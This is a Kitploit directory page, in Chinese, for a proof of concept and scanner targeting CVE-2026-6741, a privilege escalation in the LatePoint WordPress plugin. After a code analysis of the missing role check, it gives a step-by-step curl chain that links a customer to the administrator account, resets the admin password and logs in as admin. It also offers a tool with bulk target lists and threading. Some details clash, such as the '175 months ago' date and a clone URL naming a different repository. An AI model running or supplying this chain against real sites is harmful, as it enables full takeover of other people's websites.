Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-6741 — CVE-2026-6741是LatePoint – Calendar Booking插件中一个CVSS 8.8(高危)的已认证(Agent+)权限提升漏洞。 | Kitploit
工具/GitHubGitHub/xxconi/cve-2026-6741
权限提升漏洞扫描器漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育
GitHubxxconi/cve-2026-6741

CVE-2026-6741

CVE-2026-6741是LatePoint – Calendar Booking插件中一个CVSS 8.8(高危)的已认证(Agent+)权限提升漏洞。

查看仓库
175个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-6741

CVE-2026-6741 是一个 CVSS 8.8(高危)的认证(Agent+)权限提升漏洞,存在于 LatePoint – 日历预订插件中

CVE-2026-6741 — LatePoint 权限提升扫描器

插件: LatePoint – 用于预约和活动的日历预订插件 (latepoint) CVE ID: CVE-2026-6741 CVSS 评分: 8.8(高危) CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 漏洞类型: 已认证(Agent+)权限提升 → 管理员接管 受影响版本: <= 5.4.1 修补版本: 5.4.2 发布日期: 2026年4月27日 研究人员: skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence


📌 关于漏洞

具有 latepoint_agent 角色的已认证攻击者可以将任意 LatePoint 客户记录关联到 WordPress 管理员账户,然后利用 LatePoint 自身的密码重置流程修改管理员的密码。

这将导致完全接管站点。


🔍 漏洞摘要

字段值
插件名称LatePoint – 日历预订插件
插件 Sluglatepoint
CVE IDCVE-2026-6741
CVSS 评分8.8(高危)
漏洞类型已认证(Agent+)权限提升
受影响版本<= 5.4.1
修补版本5.4.2
前提条件latepoint_agent 角色,WordPress 6.9+

⚙️ 技术分析

WordPress Abilities API

LatePoint 5.3.0 增加了对 WordPress 6.9+ 引入的 Abilities API 的支持。该 API 允许插件注册可通过 REST API 调用的“ability”类:

// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
    include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}

漏洞代码路径

1 — Ability 定义(缺少角色检查)

// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
    $this->id         = 'latepoint/connect-customer-to-wp-user';
    $this->label      = __( 'Connect customer to WP user', 'latepoint' );
    $this->permission = 'customer__edit';   // ← 唯一检查:此 capability
}

Agent 角色默认拥有 customer__edit 权限:

// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
    $capabilities = [
        ...
        'customer__edit',   // ← agent 拥有此权限
        ...
    ];
}

2 — execute() — 无角色检查

// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
    $customer   = new OsCustomerModel( (int) $args['customer_id'] );
    $wp_user_id = (int) $args['wp_user_id'];

    if ( ! get_userdata( $wp_user_id ) ) {
        // 仅检查用户是否存在
        // 缺失:未检查目标用户的角色
        return new WP_Error( 'wp_user_not_found', ... );
    }

    $customer->wordpress_user_id = $wp_user_id;  // ← 关联任意 WordPress 用户
    $customer->save();

    return $this->serialize_customer( ... );
}

3 — 密码重置链

// lib/models/customer_model.php — line 315
public function update_password( $password ) {
    if ( OsAuthHelper::can_wp_users_login_as_customers()
         && $this->wordpress_user_id ) {
        wp_set_password( $password, $this->wordpress_user_id );
        // ↑ wordpress_user_id 现在是管理员 ID → 管理员密码被更改
    }
}

为什么现有检查不足?

// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
    return OsRolesHelper::can_user( $this->permission );
    // 仅检查调用者的权限
    // 不检查目标用户的角色
}

🔴 攻击链

latepoint_agent 账户
        │
        ▼
1. 以 Agent 身份登录 WordPress → 获取 REST nonce
        │
        ▼
2. 确定目标管理员 WordPress 用户 ID
   (wp-json/wp/v2/users 或 ID=1)
        │
        ▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
   { "customer_id": 5, "wp_user_id": 1 }
   → 无角色检查 → 成功
        │
        ▼
4. LatePoint forgot_password → 向客户邮箱发送重置令牌
        │
        ▼
5. 使用令牌调用 change_password → 触发 update_password()
   → wp_set_password("Hacked!", 1)
   → 管理员密码被更改
        │
        ▼
6. 使用新密码以管理员身份登录 → 完全控制站点 ✓

🧪 概念验证(手动)

⚠️ 免责声明: 本 PoC 仅供教育和防御性安全研究使用。

前提条件:

  • WordPress 6.9+(需要 Abilities API)
  • LatePoint <= 5.4.1 已安装并激活
  • 拥有 latepoint_agent 角色的账户
  • 受控制的 LatePoint 客户记录

步骤 1 — Agent 登录 + REST Nonce

WP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"

# 基于 Cookie 的会话登录
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
  -d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

# 获取 REST nonce
NONCE=$(curl -s -b cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"

步骤 2 — 确定管理员用户 ID

# 通过 REST API 列出管理员用户
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
  -H "X-WP-Nonce: $NONCE" | python3 -m json.tool

ADMIN_WP_USER_ID=1   # 通常为 ID=1

步骤 3 — 将客户关联到管理员(漏洞利用)

CUSTOMER_ID=5   # 你控制的 LatePoint 客户 ID

curl -s -b cookies.txt -X POST \
  "$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
  -H "Content-Type: application/json" \
  -H "X-WP-Nonce: $NONCE" \
  -d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"

预期响应:

{
  "id": 5,
  "wp_user_id": 1,
  "email": "[email protected]"
}

步骤 4 — 发起密码重置

CUSTOMER_EMAIL="[email protected]"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_email=$CUSTOMER_EMAIL"

LatePoint 会向 $CUSTOMER_EMAIL 发送一封包含 account_nonce 令牌的重置邮件。


步骤 5 — 修改密码

RESET_TOKEN="<从邮件获取的令牌>"
NEW_PASSWORD="Attacker_Password123!"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"

此调用会触发 update_password() → wp_set_password($NEW_PASSWORD, 1) 链。管理员密码已被更改。


步骤 6 — 以管理员身份登录

curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
  "$WP_URL/wp-login.php" \
  -d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

验证

# 访问 wp-admin
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# 预期:200 OK(非重定向到 wp-login.php)

# 通过 REST API 验证角色
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")

curl -s "$WP_URL/wp-json/wp/v2/users/me" \
  -H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# 预期: "roles": ["administrator"]

🛠️ 自动扫描器

安装

git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt

requirements.txt

requests

🚀 使用方法

单个目标 — 全自动

python latepoint_privesc.py -u http://目标.com \
  --agent-user agent1 --agent-pass Pass123!

手动指定管理员 ID 和客户 ID

python latepoint_privesc.py -u http://目标.com \
  --agent-user agent1 --agent-pass Pass123! \
  --admin-id 1 \
  --customer-id 5 \
  --customer-email [email protected]

第 2 阶段 — 使用重置令牌修改密码

python latepoint_privesc.py -u http://目标.com \
  --agent-user agent1 --agent-pass Pass123! \
  --admin-id 1 \
  --customer-id 5 \
  --customer-email [email protected] \
  --reset-token abc123xyz \
  --new-password Hacked_2026!

批量扫描

python latepoint_privesc.py -l targets.txt -t 10 \
  --agent-user agent1 --agent-pass Pass123! \
  -o 结果.txt

使用代理(Burp Suite)

python latepoint_privesc.py -u http://目标.com \
  --agent-user agent1 --agent-pass Pass123! \
  --proxy http://127.0.0.1:8080

⚙️ 参数

通用

参数简写说明默认值
--url-u单个目标 URL—
--list-l目标列表文件—
--threads-t线程数5
--output-o输出文件privesc_results.txt
--proxy—代理 URL—
--timeout—请求超时(秒)10
--force—即使 Abilities API 检测失败也继续False

Agent 凭证

参数说明
--agent-userAgent 用户名 (必需)
--agent-passAgent 密码 (必需)

目标参数

下载工具